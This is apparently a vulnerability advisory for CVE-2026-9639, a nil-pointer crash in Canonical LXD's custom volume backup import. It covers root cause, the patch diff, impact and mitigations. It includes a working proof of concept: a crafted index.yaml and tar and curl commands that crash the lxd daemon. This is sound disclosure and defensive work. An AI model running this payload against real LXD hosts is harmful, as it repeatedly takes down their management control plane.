CVE-2026-9639: Authenticated Denial of Service via Nil-Pointer Dereference in Canonical LXD Custom Volume Backup Import

Canonical LXD is a system container and virtual machine manager that exposes a REST API over a local Unix socket and optional HTTPS endpoints. Among its storage management features, LXD allows users to export and import custom storage volumes as compressed backup archives (tar.gz). This functionality is exposed via the POST /1.0/storage-pools/{pool}/volumes/custom REST API endpoint.

CVE-2026-9639 (also tracked as GHSA-j93m-3j9p-m5m8) is a null pointer dereference vulnerability (CWE-476) located in the (*lxdBackend).CreateCustomVolumeFromBackup function in lxd/storage/backend_lxd.go. When LXD processes an uploaded custom storage volume backup archive, it parses the structural metadata defined within the archive's backup/index.yaml file. This metadata includes definitions for the primary custom volume and any associated volume snapshots.

If a snapshot entry in backup/index.yaml omits the optional expires_at timestamp field, the Go YAML deserializer populates the corresponding struct field (ExpiresAt) with a nil pointer. During the database record creation phase for the imported snapshots, the LXD storage backend unconditionally dereferences this pointer without verifying whether it is nil.

An authenticated user possessing the can_create_storage_volumes (EntitlementCanCreateStorageVolumes) permission on any project can exploit this flaw by submitting a specially crafted backup tarball. Dereferencing the nil pointer causes the Go runtime to raise an unhandled SIGSEGV segmentation violation, immediately crashing the entire lxd daemon process and causing a denial of service across all management operations on the host.

In LXD's API data structures (shared/api/storage_pool_volume_snapshot.go), the expiration timestamp for a storage pool volume snapshot is represented as a pointer to a time.Time struct:

ExpiresAt *time.Time `json:"expires_at" yaml:"expires_at"`

Pointer types (*time.Time) are standard in Go for representing optional timestamp fields in JSON and YAML payloads. When a user supplies a backup/index.yaml file where a snapshot entry under config.volumes[*].snapshots[*] does not include the expires_at key, or explicitly sets it to null, the YAML unmarshaler leaves snapshot.ExpiresAt as nil.

This vulnerability is an incomplete remediation variant of CVE-2026-40197 (GHSA-r7w7-mmxr-47r9), which was patched in LXD via commit 05bc2729e99707a766d5c4705167a3322c9ef424. That earlier fix introduced validation checks (if s == nil) to ensure that snapshot entries themselves within backup/index.yaml were not null pointers before accessing their fields. However, while the fix verified that the parent snapshot struct pointer was non-nil, it failed to validate the nested snapshot.ExpiresAt pointer before passing *snapshot.ExpiresAt by value to VolumeDBCreate at line 8216 of lxd/storage/backend_lxd.go.

The defect represents an asymmetric guard pattern within lxd/storage/backend_lxd.go. Every other consumer of the ExpiresAt pointer within the same source file properly checks for nil prior to dereferencing (specifically at lines 1010-1011, 1274-1275, 1558-1559, 1856-1857, 2454-2455, 5070-5071, and 5527-5528). Only the call site inside CreateCustomVolumeFromBackup omitted the check, leading directly to a crash when VolumeDBCreate is invoked.

In the vulnerable versions of LXD (up to 6.8 and 5.21.4), (*lxdBackend).CreateCustomVolumeFromBackup iterates over the customVol.Snapshots slice parsed from the backup configuration. After verifying that the loop element s is not nil, the function prepares to register the snapshot in the LXD database using VolumeDBCreate.

The VolumeDBCreate function signature expects a concrete time.Time value rather than a *time.Time pointer for the expiration parameter. In the unpatched code, the developer passed *snapshot.ExpiresAt directly into the function call:

// Vulnerable code in lxd/storage/backend_lxd.go
for i, s := range customVol.Snapshots {
	if s == nil {
		return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i)
	}
	snapshot := s
	// ... [configuration stripping and volume setup omitted] ...
 
	// Validate config and create database entry for new storage volume.
	// Strip unsupported config keys (in case the export was made from a different type of storage pool).
	err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
	if err != nil {
		return err
	}
}

Canonical remediated this flaw in commit c7cdfadb6044dfeaac592dc225978b4125ee23fe (PR #18320 for the main branch) and backported it to the 5.21 LTS branch in commit d15520809e6e2ac2af0c6354dfb7be5854b0e859 (PR #18390). The patch introduces a stack-allocated time.Time variable (snapExpiryDate), which Go automatically initializes to the zero time value (0001-01-01 00:00:00 +0000 UTC). The code then checks whether snapshot.ExpiresAt is non-nil before dereferencing it:

--- a/lxd/storage/backend_lxd.go
+++ b/lxd/storage/backend_lxd.go
@@ -8213,7 +8213,12 @@ func (b *lxdBackend) CreateCustomVolumeFromBackup(ctx context.Context, srcBackup
 
 		// Validate config and create database entry for new storage volume.
 		// Strip unsupported config keys (in case the export was made from a different type of storage pool).
-		err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
+		var snapExpiryDate time.Time
+		// Guard against nil pointer when expires_at is omitted in backup/index.yaml
+		if snapshot.ExpiresAt != nil {
+			snapExpiryDate = *snapshot.ExpiresAt
+		}
+
+		err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)
 		if err != nil {
 			return err
 		}

> [!NOTE] > Fix Completeness Assessment: The patch completely resolves the null pointer dereference on ExpiresAt within CreateCustomVolumeFromBackup and brings line 8216 into alignment with the defensive checks already present at the seven other ExpiresAt dereference sites in lxd/storage/backend_lxd.go. Because CreatedAt in the same struct is defined as a value type (time.Time) rather than a pointer, it is not susceptible to an equivalent nil-dereference variant in this function.

Exploiting CVE-2026-9639 requires authenticated access to the LXD REST API. Specifically, the attacker must authenticate as an identity that holds the can_create_storage_volumes permission (mapped internally to EntitlementCanCreateStorageVolumes) within any valid LXD project. In multi-tenant deployments using Fine-Grained Authorization (OpenFGA/RBAC) or local unix group access, non-administrative users are routinely granted volume management privileges within their designated projects.

To trigger the vulnerability, the attacker creates a minimal backup/index.yaml file defining a custom volume (type: custom) and a single snapshot (snap0). Within the config.volumes[0].snapshots[0] map, the expires_at key is omitted:

name: poc-vol
backend: dir
pool: default
type: custom
optimized: false
optimized_header: false
snapshots: [snap0]
config:
  version: 2
  pools:
    - {name: default, driver: dir, config: {}}
  volumes:
    - name: poc-vol
      type: custom
      pool: default
      content_type: filesystem
      config: {}
      snapshots:
        - name: snap0
          description: snap0
          config: {}

The attacker packages this YAML file into a gzipped tarball and submits it as an application/octet-stream binary payload to the /1.0/storage-pools/<pool>/volumes/custom endpoint:

# Package the crafted index.yaml into a backup archive
tar -czf /tmp/poc-vol-lxd.tar.gz backup/index.yaml
 
# Upload the archive to the LXD REST API
curl -s --unix-socket /var/lib/lxd/unix.socket -X POST \
    --data-binary @/tmp/poc-vol-lxd.tar.gz \
    -H 'Content-Type: application/octet-stream' \
    -H 'X-LXD-name: poc-vol' \
    http://lxd/1.0/storage-pools/default/volumes/custom

When the LXD daemon receives this request, it spawns an asynchronous background operation goroutine (createStoragePoolVolumeFromBackup) to extract and import the volume. Because this goroutine executes without a recover() handler capable of isolating segmentation faults, evaluating *snapshot.ExpiresAt triggers an immediate process-wide panic:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x11015e8]
 
goroutine 683 [running]:
github.com/canonical/lxd/lxd/storage.(*lxdBackend).CreateCustomVolumeFromBackup(...)
    github.com/canonical/lxd/lxd/storage/backend_lxd.go:8216 +0xf58
main.createStoragePoolVolumeFromBackup.func6(...)
    github.com/canonical/lxd/lxd/storage_volumes.go:2879 +0x2a0
github.com/canonical/lxd/lxd/operations.(*Operation).start.func1(...)
    github.com/canonical/lxd/lxd/operations/operations.go:588 +0x6c

CVE-2026-9639 is rated at CVSS v3.1 Base Score 6.5 (Medium) with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H. The Attack Vector is Network (AV:N) because the LXD REST API is commonly exposed over TLS on TCP port 8443 for remote client and cluster operations, in addition to the local Unix domain socket. Attack Complexity is Low (AC:L), requiring no race conditions or memory layout preparation, and Privileges Required is Low (PR:L), reflecting the requirement for basic project-level storage volume creation permissions.

The security impact is strictly confined to Availability (A:H), with no impact on Confidentiality (C:N) or Integrity (I:N). Because Go safely traps null pointer dereferences at page zero (addr=0x0) and terminates the process via SIGSEGV, an attacker cannot leverage this primitive for out-of-bounds memory reads or arbitrary code execution.

However, the operational disruption caused by terminating the lxd daemon is significant, particularly in multi-tenant or clustered environments. While running containers and QEMU virtual machines continue executing independently of the management daemon, all control-plane operations immediately fail. In-flight operations—such as live migrations, container launches, image downloads, and storage pool modifications—are abruptly aborted, which can leave storage volumes or database records in partially initialized states.

Furthermore, because the payload is small and deterministic, an authenticated attacker can repeatedly issue the POST request each time the service manager (such as systemd or snapd) restarts the lxd daemon. This creates a persistent denial-of-service condition that prevents administrators and automated orchestrators from managing the host until the attacker's credentials or permissions are revoked.

Administrators and operators running Canonical LXD should upgrade to a patched release that includes the nil-pointer validation check. Canonical has released fixes across both active release tracks:

• LXD 6.x Series: Upgrade to LXD 6.9 or later (patched via commit c7cdfadb6044dfeaac592dc225978b4125ee23fe).
• LXD 5.21 LTS Series: Upgrade to LXD 5.21.5 or later (patched via commit d15520809e6e2ac2af0c6354dfb7be5854b0e859).

For systems deployed via Snap packages, updates can be applied by refreshing the snap channel corresponding to the deployed track:

# Refresh LXD on the 5.21 LTS track
snap refresh lxd --channel=5.21/stable
 
# Refresh LXD on the 6.x feature track
snap refresh lxd --channel=latest/stable

In environments where an immediate upgrade is not feasible, administrators should audit and restrict access to the LXD REST API and review Role-Based Access Control (RBAC) / OpenFGA policies. Specifically, revoke the can_create_storage_volumes (EntitlementCanCreateStorageVolumes) entitlement from untrusted or semi-trusted project users so they cannot invoke the custom volume backup import endpoint.

Additionally, ensure that the service supervisor managing the lxd daemon is configured to automatically restart the process upon abnormal termination (e.g., Restart=on-failure or Restart=always in systemd), and configure log monitoring to alert on SIGSEGV panics originating from backend_lxd.go.